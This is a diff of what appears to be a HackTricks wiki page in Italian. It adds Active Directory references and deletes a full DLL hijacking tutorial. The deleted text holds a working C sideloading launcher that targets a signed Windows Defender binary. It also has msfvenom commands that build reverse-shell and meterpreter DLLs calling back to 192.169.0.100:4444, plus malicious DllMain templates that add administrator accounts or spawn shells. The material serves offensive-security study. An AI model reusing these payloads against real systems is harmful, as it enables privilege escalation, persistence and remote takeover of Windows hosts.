@ -187,5 +283,9 @@ Inoltre, si possono considerare ulteriori metodi per eseguire codice o mantenere
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
DLL Hijacking consiste nel manipolare un'applicazione affidabile affinché carichi una DLL dannosa. Il termine comprende diverse tattiche come **DLL Spoofing, Injection, and Side-Loading**. Viene usato principalmente per code execution, per ottenere persistence e, meno frequentemente, per privilege escalation. Nonostante qui l'attenzione sia sull'escalation, il metodo di hijacking rimane lo stesso a prescindere dall'obiettivo.
|
||||
|
||||
### Common Techniques
|
||||
|
||||
Diversi metodi vengono impiegati per il DLL hijacking, ciascuno con una efficacia che dipende dalla strategia di loading dei DLL dell'applicazione:
|
||||
|
||||
1. **DLL Replacement**: Sostituire una DLL genuina con una maligna, eventualmente usando DLL Proxying per preservare la funzionalità della DLL originale.
|
||||
2. **DLL Search Order Hijacking**: Inserire la DLL maligna in un percorso di ricerca che viene controllato prima di quello della DLL legittima, sfruttando il pattern di ricerca dell'applicazione.
|
||||
3. **Phantom DLL Hijacking**: Creare una DLL maligna che l'applicazione caricherà pensando sia una DLL richiesta ma inesistente.
|
||||
4. **DLL Redirection**: Modificare i parametri di ricerca come %PATH% o i file .exe.manifest / .exe.local per indirizzare l'applicazione verso la DLL maligna.
|
||||
5. **WinSxS DLL Replacement**: Sostituire la DLL legittima con una controparte maligna nella directory WinSxS, metodo spesso associato al DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Posizionare la DLL maligna in una directory controllata dall'utente insieme all'applicazione copiata, simile a tecniche di Binary Proxy Execution.
|
||||
|
||||
## Finding missing Dlls
|
||||
|
||||
Il modo più comune per trovare Dll mancanti all'interno di un sistema è eseguire [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) di sysinternals, **impostando** i **seguenti 2 filtri**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
e mostrare solo la **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Se stai cercando **dll mancanti in generale** lascia questo in esecuzione per alcuni **secondi**.\
|
||||
Se stai cercando una **dll mancante all'interno di un eseguibile specifico** dovresti impostare **un altro filtro come "Process Name" "contains" "\<exec name>", eseguirlo, e fermare la cattura degli eventi**.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Per poter fare privilege escalation, la nostra migliore opportunità è essere in grado di **scrivere una dll che un processo privilegiato tenterà di caricare** in uno dei **luoghi in cui verrà cercata**. Di conseguenza, saremo in grado di **scrivere** una dll in una **cartella** in cui la **dll viene cercata prima** della cartella contenente la **dll originale** (caso particolare), oppure potremo **scrivere in una cartella in cui la dll verrà cercata** e la dll originale **non esiste** in nessuna cartella.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Nella** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puoi trovare come i Dll vengono caricati nello specifico.**
|
||||
|
||||
Le applicazioni Windows cercano i DLL seguendo una serie di percorsi di ricerca predefiniti, rispettando una particolare sequenza. Il problema del DLL hijacking sorge quando una DLL dannosa viene posizionata strategicamente in una di queste directory, garantendo che venga caricata prima della DLL autentica. Una soluzione per prevenire questo è assicurarsi che l'applicazione usi percorsi assoluti quando fa riferimento alle DLL di cui ha bisogno.
|
||||
|
||||
Puoi vedere di seguito l'ordine di ricerca dei DLL sui sistemi a 32-bit:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Questo è l'ordine di ricerca **predefinito** con **SafeDllSearchMode** abilitato. Quando è disabilitato, la current directory sale al secondo posto. Per disabilitare questa feature, crea il valore di registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** e impostalo a 0 (di default è abilitato).
|
||||
|
||||
Se la funzione [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) viene chiamata con **LOAD_WITH_ALTERED_SEARCH_PATH** la ricerca inizia nella directory del modulo eseguibile che **LoadLibraryEx** sta caricando.
|
||||
|
||||
Infine, nota che **una dll può essere caricata indicando il percorso assoluto invece del solo nome**. In quel caso quella dll verrà **cercata solo in quel percorso** (se la dll ha dipendenze, esse verranno cercate come se la dll fosse stata caricata per nome).
|
||||
|
||||
Esistono altri modi per alterare l'ordine di ricerca ma non li spiegherò qui.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Un modo avanzato per influenzare in modo deterministico il DLL search path di un nuovo processo creato è impostare il campo DllPath in RTL_USER_PROCESS_PARAMETERS quando si crea il processo con le API native di ntdll. Fornendo qui una directory controllata dall'attaccante, un processo target che risolve un DLL importato per nome (senza percorso assoluto e senza usare i flag di safe loading) può essere forzato a caricare una DLL maligna da quella directory.
|
||||
|
||||
Key idea
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Notes/limitations
|
||||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
||||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Esempio d'uso operativo
|
||||
- Posiziona un xmllite.dll malevolo (esportando le funzioni richieste o fungendo da proxy per quello reale) nella directory DllPath.
|
||||
- Avvia un binario firmato noto per cercare xmllite.dll per nome utilizzando la tecnica sopra descritta. Il loader risolve l'import tramite il DllPath fornito e sideloads la tua DLL.
|
||||
|
||||
Questa tecnica è stata osservata in-the-wild a guidare catene di sideloading multi-stage: un launcher iniziale deposita un helper DLL, che poi esegue un binario firmato da Microsoft e hijackable con un DllPath personalizzato per forzare il caricamento della DLL dell'attaccante da una directory di staging.
|
||||
|
||||
|
||||
#### Eccezioni nell'ordine di ricerca delle DLL dalla documentazione di Windows
|
||||
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- Quando viene incontrata una **DLL che condivide il suo nome con una già caricata in memoria**, il sistema salta la ricerca usuale. Invece, esegue un controllo per la redirezione e un manifest prima di affidarsi alla DLL già in memoria. **In questo scenario, il sistema non esegue una ricerca per la DLL**.
|
||||
- Nei casi in cui la DLL è riconosciuta come una **known DLL** per la versione di Windows corrente, il sistema utilizzerà la sua versione della known DLL, insieme a qualsiasi DLL dipendente, **saltando il processo di ricerca**. La chiave di registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene la lista di queste known DLL.
|
||||
- Se una **DLL ha dipendenze**, la ricerca per queste DLL dipendenti viene eseguita come se fossero indicate solo dai loro **module names**, indipendentemente dal fatto che la DLL iniziale sia stata identificata tramite un percorso completo.
|
||||
|
||||
### Escalation dei privilegi
|
||||
|
||||
**Requisiti**:
|
||||
|
||||
- Identificare un processo che opera o opererà con **privilegi diversi** (movimento orizzontale o laterale), che **manca di una DLL**.
|
||||
- Assicurarsi che sia disponibile **accesso in scrittura** per qualsiasi **directory** in cui la **DLL** verrà **cercata**. Questa posizione potrebbe essere la directory dell'eseguibile o una directory inclusa nel path di sistema.
|
||||
|
||||
Già, i requisiti sono complicati da trovare dato che **di default è piuttosto raro trovare un eseguibile privilegiato senza una DLL** ed è ancora **più raro avere permessi di scrittura su una cartella del system path** (di solito non puoi). Però, in ambienti malconfigurati questo è possibile.\
|
||||
Nel caso tu sia fortunato e soddisfi i requisiti, puoi dare un'occhiata al progetto [UACME](https://github.com/hfiref0x/UACME). Anche se l'**obiettivo principale del progetto è bypassare UAC**, potresti trovare lì una **PoC** di un Dll hijaking per la versione di Windows che puoi usare (probabilmente cambiando solo il percorso della cartella dove hai i permessi di scrittura).
|
||||
|
||||
Nota che puoi **controllare i tuoi permessi in una cartella** facendo:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
E **verifica i permessi di tutte le cartelle in PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Puoi anche controllare gli imports di un executable e gli exports di una dll con:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Per una guida completa su come **abusare Dll Hijacking per scalare i privilegi** avendo i permessi di scrittura in una **cartella del System Path** consulta:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Strumenti automatici
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)verificherà se hai permessi di scrittura su qualsiasi cartella all'interno del system PATH.\
|
||||
Altri strumenti automatici interessanti per scoprire questa vulnerabilità sono le funzioni di **PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ e _Write-HijackDll._
|
||||
|
||||
### Esempio
|
||||
|
||||
Nel caso tu trovi uno scenario sfruttabile, una delle cose più importanti per sfruttarlo con successo è **creare una dll che esporti almeno tutte le funzioni che l'eseguibile importerà da essa**. Comunque, nota che Dll Hijacking è utile per [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) o da[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Puoi trovare un esempio di **how to create a valid dll** all'interno di questo studio su dll hijacking incentrato su dll hijacking per l'esecuzione: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Inoltre, nella **sezione successiva** puoi trovare alcuni **codici dll di base** che potrebbero essere utili come **template** o per creare una **dll con funzioni non richieste esportate**.
|
||||
|
||||
## **Creazione e compilazione di Dll**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Fondamentalmente un **Dll proxy** è una Dll in grado di **eseguire il tuo codice malevolo quando viene caricata** ma anche di **esporre** e **funzionare** come previsto inoltrando tutte le chiamate alla libreria reale.
|
||||
|
||||
Con lo strumento [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) o [**Spartacus**](https://github.com/Accenture/Spartacus) puoi effettivamente **indicare un eseguibile e selezionare la libreria** che vuoi proxify e **generare una proxified dll** o **indicare la Dll** e **generare una proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Ottieni rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Ottieni un meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Crea un utente (x86: non ho visto una versione x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Il tuo
|
||||
|
||||
Nota che, in diversi casi, la Dll che compili deve **export several functions** che verranno caricate dal victim process; se queste functions non esistono, la **binary won't be able to load** them e l'**exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user